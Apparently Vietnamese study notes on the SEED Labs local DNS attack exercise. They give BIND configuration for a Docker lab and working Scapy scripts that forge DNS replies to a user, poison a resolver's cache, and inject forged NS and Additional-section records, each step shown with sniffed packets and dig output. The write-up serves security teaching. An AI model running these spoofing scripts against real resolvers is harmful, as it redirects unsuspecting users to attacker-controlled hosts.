Environment Setup

Chúng ta sẽ thiết lập một DNS server cho riêng mình rồi tấn công.

Cần sử dụng 4 máy: một cho nạn nhân, một cho local DNS server1, một cho kẻ tấn công và một cho nameserver của kẻ tấn công. Tất cả đều nằm trong cùng một LAN.

Attacker container sử dụng network_mode: host để lắng nghe traffic của các máy trong LAN.

DNS Configuration

Local DNS Server: sử dụng chương trình BIND 9 DNS, lấy cấu hình từ file /etc/bind/named.conf. Đây là file cấu hình chính chứa các include entry:

// This is the primary configuration file for the BIND DNS server named.
//
// Please read /usr/share/doc/bind9/README.Debian.gz for information on the 
// structure of BIND configuration files in Debian, *BEFORE* you customize 
// this configuration file.
//
// If you are just adding zones, please do that in /etc/bind/named.conf.local
 
include "/etc/bind/named.conf.options";
include "/etc/bind/named.conf.local";
include "/etc/bind/named.conf.default-zones";
 
zone "attacker32.com" {
    type forward;
    forwarders { 
        10.9.0.153; 
    };
};

Các cấu hình thực sự sẽ nằm trong các entry đó. Một trong số những file được bao gồm là /etc/bind/named.conf.options:

options {
	directory "/var/cache/bind";
 
	// If there is a firewall between you and nameservers you want
	// to talk to, you may need to fix the firewall to allow multiple
	// ports to talk.  See http://www.kb.cert.org/vuls/id/800113
 
	// If your ISP provided one or more IP addresses for stable 
	// nameservers, you probably want to use them as forwarders.  
	// Uncomment the following block, and insert the addresses replacing 
	// the all-0's placeholder.
 
	// forwarders {
	// 	0.0.0.0;
	// };
 
	//========================================================================
	// If BIND logs error messages about the root key being expired,
	// you will need to update your keys.  See https://www.isc.org/bind-keys
	//========================================================================
 
	// ---------------------------------------
	// Added/Modified for SEED labs
	// dnssec-validation auto;
	dnssec-validation no;
	dnssec-enable no;
	dump-file "/var/cache/bind/dump.db";
	query-source port         33333;
 
	// Access control
	allow-query { any; };
	allow-query-cache { any; };
	allow-recursion { any; };
	// ---------------------------------------
 
	listen-on-v6 { any; };
};

Tóm tắt các cấu hình:

  • Ngày nay, các DNS server chọn ngẫu nhiên source port number cho các câu truy vấn DNS (DNS question) nhằm khiến cho việc tấn công khó khăn hơn. Chúng ta sẽ gán cứng source port number là 33333 để đơn giản hóa việc tấn công.

  • DNSSEC được dùng để chống lại các spoofing attack. Ta sẽ tắt tính năng này đi.

  • File dump của DNS cache là /var/cache/bind/dump.db. Có thể sử dụng công cụ rdnc (Remote Name Daemon Control) để tương tác với DNS cache:

    # rndc dumpdb -cache // Dump the cache to the specified file
    # rndc flush         // Flush the DNS cache
  • Bất cứ khi nào có DNS question đến domain attacker32.com thì chúng ta sẽ chuyển hướng đến attacker nameserver ở địa chỉ 10.9.0.153.

    zone "attacker32.com" {
        type forward;
        forwarders { 
            10.9.0.153; 
        };
    };

User machine: đã được cấu hình để sử dụng 10.9.0.53 làm local DNS server thông qua file /etc/resolv.conf:

nameserver 10.9.0.53

Attacker’s nameserver: có 2 domain. Một là domain hợp lệ attacker32.com của attacker và một là domain giả mạo example.com:

zone "attacker32.com" {
        type master;
        file "/etc/bind/zone_attacker32.com";
};
 
zone "example.com" {
        type master;
        file "/etc/bind/zone_example.com";
};

Các cấu hình trên được đặt trong file /etc/bind/named.conf tương tự như local DNS server.

Info

Domain example.com có IP là 93.184.216.34. Nameserver của nó được quản lý bởi Internet Corporation for Assigned Names and Numbers (ICANN).

Testing the DNS Setup

Get the IP address of ns.attacker32.com: chạy câu lệnh dig sau:

docker exec -it user-10.9.0.5 dig ns.attacker32.com

Câu lệnh này sẽ được local DNS server forward đến attacker nameserver và câu trả lời mà ta nhận được sẽ phụ thuộc vào nội dung của zone file zone_attacker32.com:

$TTL 3D
@       IN      SOA   ns.attacker32.com. admin.attacker32.com. (
                2008111001
                8H
                2H
                4W
                1D)
 
@       IN      NS    ns.attacker32.com.
 
@       IN      A     10.9.0.180
www     IN      A     10.9.0.180
ns      IN      A     10.9.0.153
*       IN      A     10.9.0.100

Cụ thể, domainns.attacker32.com sẽ được phân giải thành 10.9.0.153 trong câu trả lời DNS (DNS answer):

$ docker exec -it user-10.9.0.5 dig ns.attacker32.com
 
; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 24366
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
 
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 0bb00eaecb2ef7290100000066418248f276d111a4b6ddae (good)
;; QUESTION SECTION:
;ns.attacker32.com.             IN      A
 
;; ANSWER SECTION:
ns.attacker32.com.      259059  IN      A       10.9.0.153
 
;; Query time: 0 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon May 13 03:00:24 UTC 2024
;; MSG SIZE  rcvd: 90

Get the IP address of www.example.com: có hai nameserver host domain example.com. Một là nameserver chính chủ và một là attacker nameserver.

Thử gửi DNS question đến local DNS server:

docker exec -it user-10.9.0.5 dig www.example.com

Local DNS server sẽ chuyển tiếp DNS question đến nameserver chính chủ của example.com. Answer mà ta nhận được là:

$ docker exec -it user-10.9.0.5 dig www.example.com
 
; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33374
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
 
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: b80ef193aff502f801000000664187437ff29b93d743c213 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A
 
;; ANSWER SECTION:
www.example.com.        3600    IN      A       93.184.215.14
 
;; Query time: 999 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon May 13 03:21:39 UTC 2024
;; MSG SIZE  rcvd: 88

Thử gửi DNS question đến attacker nameserver:

docker exec -it user-10.9.0.5 dig @ns.attacker32.com www.example.com 

Answer mà ta nhận được là địa chỉ IP 1.2.3.5:

$ docker exec -it user-10.9.0.5 dig @ns.attacker32.com www.example.com
 
; <<>> DiG 9.16.1-Ubuntu <<>> @ns.attacker32.com www.example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40393
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
 
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: a6ad9e29beecf92a010000006641879979eea2ffa9233cfa (good)
;; QUESTION SECTION:
;www.example.com.               IN      A
 
;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.5
 
;; Query time: 0 msec
;; SERVER: 10.9.0.153#53(10.9.0.153)
;; WHEN: Mon May 13 03:23:05 UTC 2024
;; MSG SIZE  rcvd: 88

Địa chỉ IP này được khai báo ở trong zone file zone_example.com của attacker nameserver:

$TTL 3D
@       IN      SOA   ns.example.com. admin.example.com. (
                2008111001
                8H
                2H
                4W
                1D)
 
@       IN      NS    ns.attacker32.com.
 
@       IN      A     1.2.3.4
www     IN      A     1.2.3.5
ns      IN      A     10.9.0.153
*       IN      A     1.2.3.6

Hiển nhiên, không ai dùng nameserver ns.attacker32.com để phân giải domain www.example.com và đây chính là mục tiêu của attacker. Nếu tấn công thành công, khi dùng câu lệnh dig mà không chỉ định nameserver, địa chỉ IP của www.example.com sẽ là 1.2.3.5.

Task 1: Directly Spoofing Response to User

Để điều hướng người dùng đến máy B khi họ phân giải tên miền của máy A. chúng ta cần tạo ra gói tin DNS answer giả mạo rồi gửi đến nạn nhân sớm hơn local DNS server. Kiểu tấn công này được gọi là DNS spoofing.

Cấu trúc gói tin DNS trong Scapy:

>>> ls(DNS)
length     : ShortField (Cond)                   = ('None')
id         : ShortField                          = ('0')
qr         : BitField  (1 bit)                   = ('0')
opcode     : BitEnumField                        = ('0')
aa         : BitField  (1 bit)                   = ('0')
tc         : BitField  (1 bit)                   = ('0')
rd         : BitField  (1 bit)                   = ('1')
ra         : BitField  (1 bit)                   = ('0')
z          : BitField  (1 bit)                   = ('0')
ad         : BitField  (1 bit)                   = ('0')
cd         : BitField  (1 bit)                   = ('0')
rcode      : BitEnumField                        = ('0')
qdcount    : DNSRRCountField                     = ('None')
ancount    : DNSRRCountField                     = ('None')
nscount    : DNSRRCountField                     = ('None')
arcount    : DNSRRCountField                     = ('None')
qd         : DNSQRField                          = ('\x1b[0m<\x1b[0m\x1b[31m\x1b[1mDNSQR\x1b[0m  \x1b[0m|\x1b[0m\x1b[0m>\x1b[0m')
an         : DNSRRField                          = ('None')
ns         : DNSRRField                          = ('None')
ar         : DNSRRField                          = ('None')

Với DNSQR có các thuộc tính sau:

class DNSQR(Packet):
    name = "DNS Question Record"
    fields_desc = [ DNSStrField("qname",""),
                    ShortEnumField("qtype", 1, dnsqtypes),
                    ShortEnumField("qclass", 1, dnsclasses) ]

DNSQR là lớp đại diện cho một DNS question record (một gói tin DNS question sẽ có một hoặc nhiều DNS question record1).

Còn DNSRR là lớp đại diện cho DNS resource record có trong gói tin DNS answer. Lớp này có các thuộc tính sau:

class DNSRR(InheritOriginDNSStrPacket):
    name = "DNS Resource Record"
    show_indent = 0
    fields_desc = [DNSStrField("rrname", ""),
                   ShortEnumField("type", 1, dnstypes),
                   ShortEnumField("rclass", 1, dnsclasses),
                   IntField("ttl", 0),
                   FieldLenField("rdlen", None, length_of="rdata", fmt="H"),
                   MultipleTypeField(
                       [
                           # A
                           (IPField("rdata", "0.0.0.0"),
                               lambda pkt: pkt.type == 1),
                           # AAAA
                           (IP6Field("rdata", "::"),
                               lambda pkt: pkt.type == 28),
                           # NS, MD, MF, CNAME, PTR
                           (DNSStrField("rdata", "",
                                        length_from=lambda pkt: pkt.rdlen),
                               lambda pkt: pkt.type in [2, 3, 4, 5, 12]),
                           # TEXT
                           (DNSTextField("rdata", [],
                                         length_from=lambda pkt: pkt.rdlen),
                               lambda pkt: pkt.type == 16),
                       ],
                       StrLenField("rdata", "",
                                   length_from=lambda pkt:pkt.rdlen)
    )]

Ta sẽ lắng nghe các gói tin UDP gửi đến port 53:

myFilter = f"udp and dst port 53"
pkt = sniff(iface="br-dc64fd8b10c0", filter=myFilter, prn=spoof_dns)

Callback spoof_dns sẽ chỉ xử lý nếu gói tin nó có layer DNS và có example.com ở trong Name của DNS question record:

NS_NAME = "example.com"
 
# ...
 
def spoof_dns(pkt):
    if DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode("utf-8"):
        print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

Info

qd là viết tắt của query domain và nó là trường chứa DNS question record.

Xây dựng hàm để gửi gói tin DNS answer giả mạo:

from scapy.layers.inet import IP, UDP
from scapy.layers.dns import DNS, DNSRR
 
def spoof_dns(pkt):
    if DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode("utf-8"):
        print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
 
        ip = IP(src=LOCAL_DNS_SERVER_IP, dst=pkt[IP].src)
        udp = UDP(sport=53, dport=pkt[UDP].sport)
        dnsrr = DNSRR(
            rrname=pkt[DNS].qd.qname,
            type=pkt[DNS].qd.qtype,
            rclass=pkt[DNS].qd.qclass,
            ttl=86400,
            rdata="10.9.0.153",
        )
        dns = DNS(
            id=pkt[DNS].id,
            qr=1,
            qdcount=1,
            ancount=1,
            qd=pkt[DNS].qd,
            an=dnsrr,
        )
        spoofpkt = ip / udp / dns
        send(spoofpkt, verbose=0)

Phân tích hàm trên:

  • IP header: source IP là của local DNS server.
  • UDP header): source port là 53. Đây là port của giao thức DNS.
  • DNS resource record (dnsrr):
    • Name (rrname), Type và Class (rclass) tương tự với DNS question (Type 1 tương ứng với A còn Class 1 tương ứng với IN).
    • Payload là địa chỉ IP của attacker nameserver.
  • Gói tin DNS answer:
    • ID và DNS question record (qd) giống gói tin DNS question.
    • QR là 1 cho biết rằng đây là gói tin DNS answer.
    • QDCOUNT là 1 cho biết có 1 question.
    • ANCOUNT là 1 cho biết có 1 answer.
    • DNS resource record (an) là gói tin dnsrr.

Note

Chú ý là ta cần phải xóa DNS cache của local DNS server trước khi tấn công. Bởi vì nếu không, gói tin DNS answer từ local DNS server sẽ trả về cho người dùng nhanh hơn gói tin DNS answer giả mạo của chúng ta.

Chạy script trên attacker container và thực hiện phân giải domain example.com trên máy của người dùng:

root@archlinux:/volumes# python3 dns-poisoning.py
 
root@e04030570d1e:/# dig example.com

Script thu được gói tin DNS question có record sau:

10.9.0.5 --> 10.9.0.53: 50299
 
\qd        \
|###[ DNS Question Record ]###
|  qname     = 'example.com.'
|  qtype     = A
|  qclass    = IN

Gói tin DNS answer giả mạo gửi đi có các record sau:

10.9.0.53 --> 10.9.0.5: 50299
 
\qd        \
 |###[ DNS Question Record ]###
 |  qname     = 'example.com.'
 |  qtype     = A
 |  qclass    = IN
\an        \
 |###[ DNS Resource Record ]###
 |  rrname    = 'example.com.'
 |  type      = A
 |  rclass    = IN
 |  ttl       = 86400
 |  rdlen     = None
 |  rdata     = 10.9.0.153

Output của câu lệnh dig hiển thị trong terminal của người dùng cho thấy ta đã tấn công thành công:

root@e04030570d1e:/# dig example.com
 
; <<>> DiG 9.16.1-Ubuntu <<>> example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 50299
;; flags: qr rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; WARNING: recursion requested but not available
 
;; QUESTION SECTION:
;example.com.                   IN      A
 
;; ANSWER SECTION:
example.com.            86400   IN      A       10.9.0.153
 
;; Query time: 123 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon May 13 07:06:39 UTC 2024
;; MSG SIZE  rcvd: 56

Task 2: DNS Cache Poisoning Attack – Spoofing Answers

Đối với cách tấn công trên, attacker cần phải gửi gói tin DNS answer giả mạo mỗi lần người dùng thực hiện phân giải tên miền. Điều này khá bất tiện. Thay vào đó, chúng ta có thể nhắm vào local DNS server.

Như đã biết, khi local DNS server nhận được gói tin DNS question, nó sẽ kiểm tra DNS cache. Nếu có một entry khớp với tên miền mà người dùng đang phân giải thì nó sẽ trả về. Ngược lại, nó sẽ gửi gói tin DNS question đến các DNS server khác. Khi local DNS server nhận được answer, nó sẽ lưu vào cache.

Minh họa:

Nếu chúng ta có thể làm giả các gói tin DNS answer trả về từ các DNS server khác thì chúng ta có thể thao túng DNS cache của local DNS server. Bất cứ khi nào người dùng phân giải tên miền, local DNS server sẽ trả về entry giả mạo mà ta đã thêm vào. Đây được gọi là tấn công DNS cache poisoning và cách tấn công này hiệu quả hơn do chúng ta chỉ cần làm 1 lần đến khi nào entry ở trong cache hết hạn.

Xóa cache của local DNS server:

rndc flush

Sau đó, viết chương trình để lắng nghe các gói tin DNS question từ local DNS server và DNS answer gửi đến local DNS server:

from scapy.all import *
 
NS_NAME = "example.com"
LOCAL_DNS_SERVER_IP = "10.9.0.53"
 
def spoof_dns(pkt):
    if DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode("utf-8"):
        print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))
        pkt.show()
 
myFilter = f"udp and ((ip src {LOCAL_DNS_SERVER_IP} and dst port 53) or (ip dst {LOCAL_DNS_SERVER_IP} and src port 53))"
pkt = sniff(iface="br-dc64fd8b10c0", filter=myFilter, prn=spoof_dns)

Khi user container thực hiện phân giải tên miền example.com, các gói tin DNS question và DNS answer:

root@archlinux:/volumes# python3 dns-cache-poisoning.py
 
10.9.0.53 --> 192.33.14.30: 56586
192.33.14.30 --> 10.9.0.53: 56586
10.9.0.53 --> 199.43.135.53: 12551
199.43.135.53 --> 10.9.0.53: 12551

Gói tin DNS answer đầu tiên có các record như sau:

\qd        \
|###[ DNS Question Record ]###
|  qname     = 'example.com.'
|  qtype     = A
|  qclass    = IN
an        = None
\ns        \
|###[ DNS Resource Record ]###
|  rrname    = 'example.com.'
|  type      = NS
|  rclass    = IN
|  ttl       = 172800
|  rdlen     = None
|  rdata     = 'a.iana-servers.net.'
|###[ DNS Resource Record ]###
|  rrname    = 'example.com.'
|  type      = NS
|  rclass    = IN
|  ttl       = 172800
|  rdlen     = None
|  rdata     = 'b.iana-servers.net.'

Có thể thấy, DNS server ở địa chỉ IP 192.33.14.30 đã chuyển hướng local DNS server đến tên miền a.iana-servers.netb.iana-servers.net. Tất nhiên, local DNS server sẽ gửi gói tin DNS question để phân giải tên miền a.iana-servers.net (nó sử dụng tên miền đầu tiên). Địa chỉ IP mà nó phân giải được là 199.43.135.53.

Cuối cùng, local DNS server gửi gói tin DNS question đến a.iana-servers.net để phân giải tên miền example.com. Gói tin DNS answer mà nó nhận được có các record sau:

\qd        \
|###[ DNS Question Record ]###
|  qname     = 'example.com.'
|  qtype     = A
|  qclass    = IN
\an        \
|###[ DNS Resource Record ]###
|  rrname    = 'example.com.'
|  type      = A
|  rclass    = IN
|  ttl       = 3600
|  rdlen     = None
|  rdata     = 93.184.215.14

Summary

Như vậy, mục tiêu của ta là làm giả gói tin DNS answer cuối cùng này khi bắt được gói tin DNS question.

Trước tiên, ta sửa filter lại như sau:

myFilter = f"udp and ip src {LOCAL_DNS_SERVER_IP} and dst port 53"

Filter trên sẽ lọc các gói tin DNS question (port 53) được gửi từ local DNS server.

Sử dụng lại hàm spoof_dns()Task 1 Directly Spoofing Response to User và thay đổi IP header thành như sau:

ip = IP(src=pkt[IP].dst, dst=LOCAL_DNS_SERVER_IP)

Chạy script và rồi thực hiện phân giải tên miền ở trên user container, ta thu được gói tin DNS question từ local DNS server có DNS question record sau:

10.9.0.53 --> 192.41.162.30: 16126
 
\qd        \
|###[ DNS Question Record ]###
|  qname     = 'example.com.'
|  qtype     = A
|  qclass    = IN

Gói tin DNS answer giả mạo có các record sau:

\qd        \
 |###[ DNS Question Record ]###
 |  qname     = 'example.com.'
 |  qtype     = A
 |  qclass    = IN
\an        \
 |###[ DNS Resource Record ]###
 |  rrname    = 'example.com.'
 |  type      = A
 |  rclass    = IN
 |  ttl       = 65536
 |  rdlen     = None
 |  rdata     = 10.9.0.153

Output ở bên người dùng cho thấy ta đã tấn công thành công:

root@e04030570d1e:/# dig example.com
 
; <<>> DiG 9.16.1-Ubuntu <<>> example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2386
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
 
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 9f52b3950b6b13d9010000006641eaa8a1179962454d7ae6 (good)
;; QUESTION SECTION:
;example.com.                   IN      A
 
;; ANSWER SECTION:
example.com.            65536   IN      A       10.9.0.153
 
;; Query time: 509 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon May 13 10:25:44 UTC 2024
;; MSG SIZE  rcvd: 84

Thử gọi lại lệnh dig thì IP của example.com vẫn như cũ.

Kiểm tra DNS cache của local DNS server:

root@55f9fff206a3:/# cat /var/cache/bind/dump.db  | grep example.com
example.com.            669999  A       10.9.0.153

Task 3: Spoofing NS Records

Trong các tấn công trước, chúng ta chỉ nhắm vào một domain là www.example.com. Nếu người dùng phân giải IP của domain khác chẳng hạn như mail.example.com thì ta sẽ phải tấn công lại lần nữa. Để hiệu quả hơn, chúng ta có thể tấn công vào domain example.com và các subdomain của nó.

Ý tưởng: khi tạo ra gói tin DNS answer giả mạo, ngoài DNS resource record, chúng ta thêm vào NS record2 sau:

example.com IN NS ns.attacker32.com

Khi record này được cache bởi local DNS sever, ns.attacker32.com sẽ được dùng như là nameserver để phân giải domain example.com.

Ta vẫn dùng filter của Task 2 DNS Cache Poisoning Attack – Spoofing Answers:

myFilter = f"udp and ip src {LOCAL_DNS_SERVER_IP} and dst port 53"  # DNS cache poisoning

Xây dựng gói tin DNS answer như sau:

NS_NAME = "example.com"
LOCAL_DNS_SERVER_IP = "10.9.0.53"
ATTACKER_NAMESERVER_IP = "10.9.0.153"
ATTACKER_NAMESERVER = "ns.attacker32.com"
 
# ...
 
dnsrr = DNSRR(
	rrname=pkt[DNS].qd.qname, type="A", ttl=259200, rdata=ATTACKER_NAMESERVER_IP
)
 
ns = DNSRR(rrname=NS_NAME, type="NS", ttl=259200, rdata=ATTACKER_NAMESERVER)
 
dns = DNS(
	id=pkt[DNS].id,
	aa=1,  # This is an authoritative response
	rd=0,
	qr=1,
	qdcount=1,
	ancount=1,
	nscount=1,
	qd=pkt[DNS].qd,
	an=dnsrr,
	ns=ns,
)
 
# ...

Gói tin DNS answer giả mạo có các record sau:

\qd        \
|###[ DNS Question Record ]###
|  qname     = 'example.com.'
|  qtype     = A
|  qclass    = IN
\an        \
|###[ DNS Resource Record ]###
|  rrname    = 'example.com.'
|  type      = A
|  rclass    = IN
|  ttl       = 259200
|  rdlen     = None
|  rdata     = 10.9.0.153
\ns        \
|###[ DNS Resource Record ]###
|  rrname    = 'example.net.'
|  type      = NS
|  rclass    = IN
|  ttl       = 259200
|  rdlen     = None
|  rdata     = 'ns.attacker32.com.'

Output ở terminal của người dùng cho thấy ta đã tấn công thành công:

root@e04030570d1e:/# dig example.com
 
; <<>> DiG 9.16.1-Ubuntu <<>> example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 39850
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
 
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: c79aaa8c3911f08f010000006641f1f9ba5431ec50a0ffe3 (good)
;; QUESTION SECTION:
;example.com.                   IN      A
 
;; ANSWER SECTION:
example.com.            259200  IN      A       10.9.0.153
 
;; Query time: 263 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon May 13 10:56:57 UTC 2024
;; MSG SIZE  rcvd: 84

Thử phân giải mail.example.com:

root@4d15498252b7:/# dig mail.example.com
 
; <<>> DiG 9.16.1-Ubuntu <<>> mail.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2668
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
 
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: bd4475e5d12382fd01000000664207a3fd9273d3cc007571 (good)
;; QUESTION SECTION:
;mail.example.com.              IN      A
 
;; ANSWER SECTION:
mail.example.com.       259200  IN      A       1.2.3.6
 
;; Query time: 0 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon May 13 12:29:23 UTC 2024
;; MSG SIZE  rcvd: 89

Các entry ở trong DNS cache liên quan đến example.com

root@f7126c45e4e2:/# cat /var/cache/bind/dump.db | grep example.com
example.com.            863932  NS      ns.attacker32.com.
mail.example.com.       863979  A       1.2.3.6

Task 4: Spoofing NS Records for Another Domain

Chúng ta có thể thêm vào các NS record giả mạo để phân giải các domain khác ngoài example.com chẳng hạn như google.com.

google.com IN NS ns.attacker32.com

Thêm vào gói tin DNS answer một NS record mới như sau:

NS_NAME = "example.com"
GOOGLE_NS_NAME = "google.com"
LOCAL_DNS_SERVER_IP = "10.9.0.53"
ATTACKER_NAMESERVER_IP = "10.9.0.153"
ATTACKER_NAMESERVER = "ns.attacker32.com"
 
# ...
 
dnsrr = DNSRR(
	rrname=pkt[DNS].qd.qname, type="A", ttl=259200, rdata=ATTACKER_NAMESERVER_IP
)
 
ns1 = DNSRR(rrname=NS_NAME, type="NS", ttl=259200, rdata=ATTACKER_NAMESERVER)
ns2 = DNSRR(rrname=GOOGLE_NS_NAME, type="NS", ttl=259200, rdata=ATTACKER_NAMESERVER)
 
dns = DNS(
	id=pkt[DNS].id,
	aa=1,  # This is an authoritative response
	rd=0,
	qr=1,
	qdcount=1,
	ancount=1,
	nscount=2,
	qd=pkt[DNS].qd,
	an=dnsrr,
	ns=ns1 / ns2,
)
 
# ...

Chạy script rồi thực hiện phân giải domain example.com trên user container.

Gói tin DNS answer giả mạo có các record sau:

\qd        \
 |###[ DNS Question Record ]###
 |  qname     = 'example.com.'
 |  qtype     = A
 |  qclass    = IN
\an        \
 |###[ DNS Resource Record ]###
 |  rrname    = 'example.com.'
 |  type      = A
 |  rclass    = IN
 |  ttl       = 259200
 |  rdlen     = None
 |  rdata     = 10.9.0.153
\ns        \
 |###[ DNS Resource Record ]###
 |  rrname    = 'example.com.'
 |  type      = NS
 |  rclass    = IN
 |  ttl       = 259200
 |  rdlen     = None
 |  rdata     = 'ns.attacker32.com.'
 |###[ DNS Resource Record ]###
 |  rrname    = 'google.com.'
 |  type      = NS
 |  rclass    = IN
 |  ttl       = 259200
 |  rdlen     = None
 |  rdata     = 'ns.attacker32.com.'

DNS cache của local DNS server:

root@f7126c45e4e2:/# cat /var/cache/bind/dump.db  | grep example.com
example.com.            863986  NS      ns.attacker32.com.
root@f7126c45e4e2:/# cat /var/cache/bind/dump.db  | grep google.com
root@f7126c45e4e2:/# 

Có thể thấy, không có entry nào liên quan đến google.com.

Summary

NS record chỉ được lưu vào DNS cache nếu như domain có trong Answer Section.

Task 5: Spoofing Records in the Additional Section

Trong các gói tin DNS answer, có một phần gọi là Additional Section. Phần này thường được dùng để cung cấp địa chỉ IP cho các domain, đặc biệt là các domain xuất hiện trong Authority Section dưới dạng data.

Mục tiêu của task này là thêm một số record giả mạo vào Additional Section và xem thử local DNS server có cache chúng hay không. Cụ thể, khi phản hồi lại gói tin DNS query cho tên miền example.com, chúng ta sẽ thêm vào các record sau:

;; AUTHORITY SECTION:
example.com. 259200 IN NS ns.attacker32.com.
example.com. 259200 IN NS ns.example.com.
 
;; ADDITIONAL SECTION:
ns.attacker32.com. 259200 IN A 1.2.3.4 (1)
ns.example.net. 259200 IN A 5.6.7.8    (2)
www.facebook.com. 259200 IN A 3.4.5.6  (3)

Với record 1 và 2 liên quan đến các domain trong Authority Section. Entry 3 hoàn toàn không liên quan.

Xây dựng gói tin DNS answer:

# The Answer Section
dnsrr = DNSRR(rrname=pkt[DNS].qd.qname, type="A", ttl=259200, rdata=ATTACKER_NAMESERVER_IP)
 
# The Authority Section
ns1 = DNSRR(rrname=NS_NAME, type="NS", ttl=259200, rdata="ns.attacker32.com")
ns2 = DNSRR(rrname=NS_NAME, type="NS", ttl=259200, rdata="ns.example.com")
 
# The Additional Section
addrr1 = DNSRR(rrname="ns.attacker32.com", type="A", ttl=259200, rdata="1.2.3.4")
addrr2 = DNSRR(rrname="ns.example.com", type="A", ttl=259200, rdata="5.6.7.8")
addrr3 = DNSRR(rrname="www.facebook.com", type="A", ttl=259200, rdata="3.4.5.6")
 
# Construct the DNS packet
dns = DNS(
	id=pkt[DNS].id,
	aa=1,  # This is an authoritative response
	rd=0,
	qr=1,
	qdcount=1,
	ancount=1,
	nscount=2,
	arcount=3,
	qd=pkt[DNS].qd,
	an=dnsrr,
	ns=ns1 / ns2,
	ar=addrr1 / addrr2 / addrr3,
)

Chạy script và thực hiện phân giải domain example.com ở trên user container. Gói tin DNS answer giả mạo có các record sau:

\qd        \
 |###[ DNS Question Record ]###
 |  qname     = 'example.com.'
 |  qtype     = A
 |  qclass    = IN
\an        \
 |###[ DNS Resource Record ]###
 |  rrname    = 'example.com.'
 |  type      = A
 |  rclass    = IN
 |  ttl       = 259200
 |  rdlen     = None
 |  rdata     = 10.9.0.153
\ns        \
 |###[ DNS Resource Record ]###
 |  rrname    = 'example.com.'
 |  type      = NS
 |  rclass    = IN
 |  ttl       = 259200
 |  rdlen     = None
 |  rdata     = 'ns.attacker32.com.'
 |###[ DNS Resource Record ]###
 |  rrname    = 'example.com.'
 |  type      = NS
 |  rclass    = IN
 |  ttl       = 259200
 |  rdlen     = None
 |  rdata     = 'ns.example.com.'
\ar        \
 |###[ DNS Resource Record ]###
 |  rrname    = 'ns.attacker32.com.'
 |  type      = A
 |  rclass    = IN
 |  ttl       = 259200
 |  rdlen     = None
 |  rdata     = 1.2.3.4
 |###[ DNS Resource Record ]###
 |  rrname    = 'ns.example.com.'
 |  type      = A
 |  rclass    = IN
 |  ttl       = 259200
 |  rdlen     = None
 |  rdata     = 5.6.7.8
 |###[ DNS Resource Record ]###
 |  rrname    = 'www.facebook.com.'
 |  type      = A
 |  rclass    = IN
 |  ttl       = 259200
 |  rdlen     = None
 |  rdata     = 3.4.5.6

DNS cache của local DNS server:

root@9618b19b4d32:/# cat /var/cache/bind/dump.db | grep example.com
example.com.            863964  NS      ns.example.com.
ns.example.com.         863964  A       5.6.7.8
root@9618b19b4d32:/# cat /var/cache/bind/dump.db | grep attacker32.com
ns.attacker32.com.      863964  A       1.2.3.4
                        863964  NS      ns.attacker32.com.
root@9618b19b4d32:/# cat /var/cache/bind/dump.db | grep facebook.com
root@9618b19b4d32:/#

Không hề có entry nào liên quan đến www.facebook.com hoặc facebook.com.

Summary

Các record trong Additional Section chỉ được lưu vào DNS cache nếu domain có trong các NS record.

list
from outgoing([[SEED Lab - Local DNS Attack]])
sort file.ctime asc

Resources

Footnotes

  1. xem thêm DNS Structure. 2

  2. xem thêm NS